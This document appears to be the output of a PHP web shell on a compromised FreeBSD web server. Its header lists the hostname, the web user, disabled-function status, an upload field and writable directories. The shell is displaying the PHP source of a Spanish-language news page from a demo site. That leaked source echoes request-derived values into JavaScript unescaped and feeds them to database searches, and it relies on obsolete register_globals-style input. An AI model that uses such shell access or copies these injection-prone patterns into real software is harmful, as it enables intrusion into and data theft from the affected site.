KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/logicswapweb/datasheets/guias/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/logicswapweb/datasheets/guias/noticias.php
<?php
include('./aplicaciones/admon/fnc/DBConnect.php');
include('./aplicaciones/admon/fnc/componente.php');
include('./aplicaciones/admon/fnc/parametro.php');
include('./aplicaciones/admon/fnc/vinculo.php');
include('./aplicaciones/admon/fnc/UsuarioPanel.php');
include('./aplicaciones/admon/fnc/bitacora.php');
include('./aplicaciones/admon/fnc/aplicacion.php');
include('./aplicaciones/admon/fnc/panel.php');
include('./aplicaciones/admon/fnc/utileria.php');
session_start('PanelAzulDigial');

if(!session_is_registered("panel")){
	//header("Location:  ../../index.php");			
}else{
	$ini_line = (array_key_exists('ini_line', $_REQUEST)) ? $_REQUEST['ini_line']: 1;
	$seleccion = (array_key_exists('seleccion', $_REQUEST)) ? $_REQUEST['seleccion']: NULL;
	$panel->aplicativo= new Aplicacion();
	$panel->disableDebugPanel();
	$panel->reactivarDB();
	$panel->setFilesPanel(6);
	$tipo_u=$panel->usuario->tipo;
	$user_u=$panel->usuario->id;
	$estado_u=$panel->usuario->estado;
	$panel->aplicativo->loadAplicacion($seleccion,"cliente");
	$panel->usuario->vinculo->loadVinculo($user_u,$panel->aplicativo->id);	
	$tipo_u=$panel->usuario->tipo;
	$user_u=$panel->usuario->id;
	$estado_u=$panel->usuario->estado;
	$panel->setAplicacion("panel de control - Usuarios");
	$inicio = $panel->inicioPagina($ini_line);
	$user_id = $user_u;
}
?>
<?            
	include("./aplicaciones/admon/generales/operabd.php");
	include("./aplicaciones/admon/noticias/tb_noticias/met_noticias.php");
	include("./aplicaciones/admon/noticias/tb_noticiaimagenes/met_noticiaimagenes.php");
	$num_paginas = numpaginas($numlineas);
	if(!isset($pagina))	$pagina=1;
	if(!isset($noticia_id))	$noticia_id = retnoticia_id();
	$resultado = listar_noticia($noticia_id);
	$filas = mysql_fetch_assoc($resultado);
	$resulimg = lis_imgprin($noticia_id);
	$filasimg = mysql_fetch_assoc($resulimg);
	$tiempo_actual = time();
	$diahn = date("d", $tiempo_actual);
	$meshn = date("n", $tiempo_actual);
	$anohn = date("Y", $tiempo_actual);
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Noticias - Azul Digital S.A. - Website DEMO</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link href="css/webdemo.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
body {
	margin-left: 0px;
	margin-top: 0px;
	margin-right: 0px;
	margin-bottom: 0px;
}
-->
</style></head>

<body onLoad="MM_preloadImages('images/B_N_buscar.jpg')">
<table width="791" height="497" border="0" cellpadding="0" cellspacing="0">
  <tr>
    <td width="791" height="497" colspan="2" valign="top"><table width="780" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td width="448" rowspan="2"><a name="top_page"></a><img src="images/N_topLeft.jpg" width="448" height="163"></td>
        <td width="332"><img src="images/N_topRight1.jpg" width="328" height="120"></td>
      </tr>
      <tr>
        <td height="43" background="images/N_topRight2.jpg" class="fecha">fecha <? echo $diahn.'/'.$meshn.'/'.$anohn;?> </td>
      </tr>
    </table>      
      <br>
      <table width="780" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td width="14"><img src="images/ButtonsCornerL.jpg" width="14" height="33"></td>
          <td width="108" align="center" background="images/ButtonsBG.jpg"><img src="images/b1.gif" width="97" height="24"></td>
          <td width="108" align="center" background="images/ButtonsBG.jpg"><img src="images/b2.gif" width="97" height="24"></td>
          <td width="108" align="center" background="images/ButtonsBG.jpg"><img src="images/b3.gif" width="97" height="24"></td>
          <td width="108" align="center" background="images/ButtonsBG.jpg"><img src="images/b4.gif" width="97" height="24"></td>
          <td width="108" align="center" background="images/ButtonsBG.jpg"><img src="images/b5.gif" width="97" height="24"></td>
          <td width="108" align="center" background="images/ButtonsBG.jpg"><img src="images/b6.gif" width="97" height="24"></td>
          <td width="94" align="center" background="images/ButtonsBG.jpg">&nbsp;</td>
          <td width="24"><img src="images/ButtonsCornerR.jpg" width="14" height="33"></td>
        </tr>
      </table>      <br>
        <table width="781" height="274" border="0" cellpadding="0" cellspacing="0">
          <tr>
            <td width="518" height="233" valign="top"><table width="486" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td width="29"><img src="images/newsLeftCornerT.jpg" width="29" height="29"></td>
                <td colspan="3" valign="top" background="images/newsTopModH.jpg"><span class="newsletterTitle">Noticia seleccionada</span></td>
                <td width="29"><img src="images/newsRightCornerT.jpg" width="29" height="29"></td>
              </tr>
              <tr>
                <td background="images/newLeftModV.jpg">&nbsp;</td>
                <td colspan="3">
				<table width="442" border="0" cellspacing="0" cellpadding="0">
                  	<tr>
				  		<td width="80%" valign="top" class="contenido1"> <? echo infonoticiahome($noticia_id); ?></td>
				  		<td width="20%" valign="top" class="contenido1"> <div align="center"><? echo infonoticiaImghome($noticia_id, $filasimg['imagen_url']); ?></div></td>
					</tr>
                </table>                
				<br></td>
                <td background="images/newRightModV.jpg">&nbsp;</td>
              </tr>
              <tr>
                <td><img src="images/N_cornerLeft1.jpg" width="29" height="29"></td>
                <td width="263" background="images/N_bottom_bg1.jpg">&nbsp;</td>
                <td width="29"><img src="images/N_bottom_bg2.jpg" width="29" height="29"></td>
                <td width="150" align="right" background="images/N_bottom_bg3.jpg" class="fecha"><a href="#top_page">arriba</a></td>
                <td><img src="images/N_cornerRight1.jpg" width="29" height="29"></td>
              </tr>
            </table>            
            <br>            <table width="500" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td width="29"><img src="images/N_relCornerLTop.jpg" width="29" height="49"></td>
                <td width="200" background="images/N_relCorner_BG1Top.jpg" class="newsletterTitle"> Noticias Relacionadas </td>
                <td width="29"><img src="images/N_relCornerMTop.jpg" width="29" height="49"></td>
                <td width="213" background="images/N_relCorner_BG2Top.jpg">&nbsp;</td>
                <td width="29"><img src="images/N_relCornerRTop.jpg" width="29" height="49"></td>
              </tr>
              <tr>
                <td background="images/N_relBGLeftV.jpg">&nbsp;</td>
                <td colspan="3"><span class="noticia"><? noticiasRelachome($noticia_id); ?></span><br> </td>
                <td background="images/N_relBGRightV.jpg">&nbsp;</td>
              </tr>
              <tr>
                <td><img src="images/N_relCornerLBottom.jpg" width="29" height="31"></td>
                <td background="images/N_relCorner_BG1Bottom.jpg">&nbsp;</td>
                <td><img src="images/N_relCornerMBottom.jpg" width="29" height="31"></td>
                <td align="right" background="images/N_relCorner_BG2Bottom.jpg" class="fecha"><a href="#top_page">arriba</a></td>
                <td><img src="images/N_relCornerRBottom.jpg" width="29" height="31"></td>
              </tr>
            </table>          <br></td>
            <td width="263" valign="top">
			<table width="248" border="0" cellspacing="0" cellpadding="0">
	<form name="form3" method="post" action="">
              <tr>
                <td width="32"><img src="images/B_NcornerLTop1.jpg" width="32" height="25"></td>
                <td colspan="2" align="left" valign="bottom" background="images/B_N_mod_bg1.jpg" class="contenido1">Palabra:
                  <input name="palabra" type="text" class="contenido1" id="palabra"></td>
                <td width="34"><img src="images/B_NcornerRTop1.jpg" width="32" height="25"></td>
              </tr>
              <tr>
                <td><img src="images/B_NcornerLTop2.jpg" width="32" height="25"></td>
                <td colspan="2" align="center" valign="bottom" background="images/B_N_mod_bg2.jpg" class="contenido1">
                  <? seltemas('',2); ?></td>
                <td><img src="images/B_NcornerRTop2.jpg" width="32" height="25"></td>
              </tr>
              <tr>
                <td height="20"><img src="images/B_NcornerLTop3.jpg" width="32" height="20"></td>
                <td width="100" align="left" background="images/B_N_mod_bg3.jpg" class="contenido1">Fecha Inicio:</td>
                <td width="82" align="left" background="images/B_N_mod_bg3.jpg" class="contenido1">Fecha Final:</td>
                <td><img src="images/B_NcornerRTop3.jpg" width="32" height="20"></td>
              </tr>
              <tr>
                <td height="19"><img src="images/B_NcornerLTop4.jpg" width="32" height="20"></td>
                <td background="images/B_N_mod_bg4.jpg"><input name="fechainic" type="text" class="contenido1" id="fechainic" size="15"></td>
                <td align="left" background="images/B_N_mod_bg4.jpg"><input name="fechafin" type="text" class="contenido1" id="fechafin" size="15"></td>
                <td><img src="images/B_NcornerRTop4.jpg" width="32" height="20"></td>
              </tr>
              <tr>
                <td height="19"><img src="images/B_NcornerLTop5.jpg" width="32" height="33"></td>
                <td colspan="2" align="center" background="images/B_N_mod_bg5.jpg">
					<a href="#" onClick="llama_pagina()" onMouseOut="MM_swapImgRestore()" onMouseOver="MM_swapImage('Image39','','images/B_N_buscar.jpg',1)"><img src="images/B_N_buscar.jpg" name="Image39" width="100" height="33" border="0"></a></td>
                <td><img src="images/B_NcornerRTop5.jpg" width="32" height="33"></td>
              </tr>
	</form>
            </table>
              <table width="248" border="0" cellspacing="0" cellpadding="0">
                <tr>
                  <td width="23" background="images/B_N_bgLV.jpg">&nbsp;</td>
                  <td colspan="3"><span class="newsletterTitle">Noticias</span><span class="noticia"><br>
                    <br>
			  	<? 	
					if(!isset($opcion)) ListarTitulohome();
					else{
						if($opcion==1) 			bsq_fechas($fechainic, $fechafin, $pagina, $numlineas, 2);
						else if ($opcion==2)	bsq_tema($tema, $pagina, $numlineas, 2);
						else if ($opcion==3)	bsq_palabra($palabra, $pagina, $numlineas, 2);     
					}
				?>
					</span><br></td>
                  <td width="23" background="images/B_N_bgRV.jpg">&nbsp;</td>
                </tr>
                <tr>
                  <td><img src="images/B_NcornerLBottom.jpg" width="23" height="29"></td>
                  <td width="96" background="images/B_N_bgHLBottom.jpg">&nbsp;</td>
                  <td width="23"><img src="images/B_NcornerMBottom.jpg" width="23" height="29"></td>
                  <td width="83" align="right" background="images/B_N_bgHRBottom.jpg" class="fecha"><a href="#top_page">arriba</a></td>
                  <td><img src="images/B_NcornerRBottom.jpg" width="23" height="29"></td>
                </tr>
              </table></td>
          </tr>
		<tr valign="top">
		  <td height="30" colspan="3" align="center" valign="bottom"><? echo menuretornar(1);?></td>
		</tr>
      </table>
      <br>
      <table width="780" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td width="19"><img src="images/bottomRibRight.jpg" width="19" height="43"></td>
          <td width="742" align="center" background="images/bottomRibBg.jpg"><img src="images/waterMark5.gif" width="80" height="28"></td>
          <td width="19"><img src="images/bottomRibLeft.jpg" width="19" height="43"></td>
        </tr>
    </table></td></tr>
</table>
</body>
<script src="./aplicaciones/admon/generales/genjavascript.js" language="javascript"></script>
<script>
function llama_pagina(opcion){
	if (document.form3.palabra.value!='') opcion=3;
	else if(document.form3.tema.value!= "99") opcion=2;
	else if(document.form3.fechainic.value!='' && document.form3.fechafin.value!='') opcion=1;
	else{ 
		alert('Debe seleccionar un campo de b�squeda');
		opcion=0;
	}
	if (opcion==1){
		if(document.form3.fechainic.value.length != 10 || document.form3.fechafin.value.length != 10 ){
			alert('formato de fecha errado');
			document.form3.fechafin.focus();
			opcion=0;
		}
		else if(! valfecha(document.form3.fechainic.value)){
			alert('formato de fecha errado');
			document.form3.fechainic.focus();
			opcion=0;
		}
		else if(! valfecha(document.form3.fechafin.value)){
			alert('formato de fecha errado');
			document.form3.fechafin.focus();
			opcion=0;
		}
	}
	noticia_id = <? echo $noticia_id;?>;
	url='noticias.php?noticia_id='+noticia_id;
	if(opcion==1) 		url=url+'&opcion='+opcion+'&fechainic='+document.form3.fechainic.value+'&fechafin='+document.form3.fechafin.value;
	else if(opcion==2)	url=url+'&opcion='+opcion+'&tema='+document.form3.tema.value;
	else if(opcion==3)	url=url+'&opcion='+opcion+'&palabra='+document.form3.palabra.value;
	window.location.href=url;
}
function valfecha(fecha){
	ano = 	fecha.substr(0, 4);	
	sep1 = 	fecha.substr(4, 1);	
	mes = 	fecha.substr(5, 2);	
	sep2 = 	fecha.substr(7, 1);	
	dia = 	fecha.substr(8, 2);	
	if(sep1 != '-' || sep2 != '-')	return false;
	else if(ano < 2000 || ano > 3000)	return false;
	else if(mes < 1    || mes > 12)		return false;
	else if(dia < 1    || dia > 31)		return false;
	else return true;
}
/*function disp_imagen(url){
	propiedades='height=550, width=700';
	url="http://"+url+"";
	window.open(url, 'fotos');
}*/

function disp_imagenesnot(noticia_id){
	
	url='imgnoticias.php?noticia_id='+noticia_id;
	window.open(url, 'imgnoticias');
}
</script>
</html>

Anon7 - 2021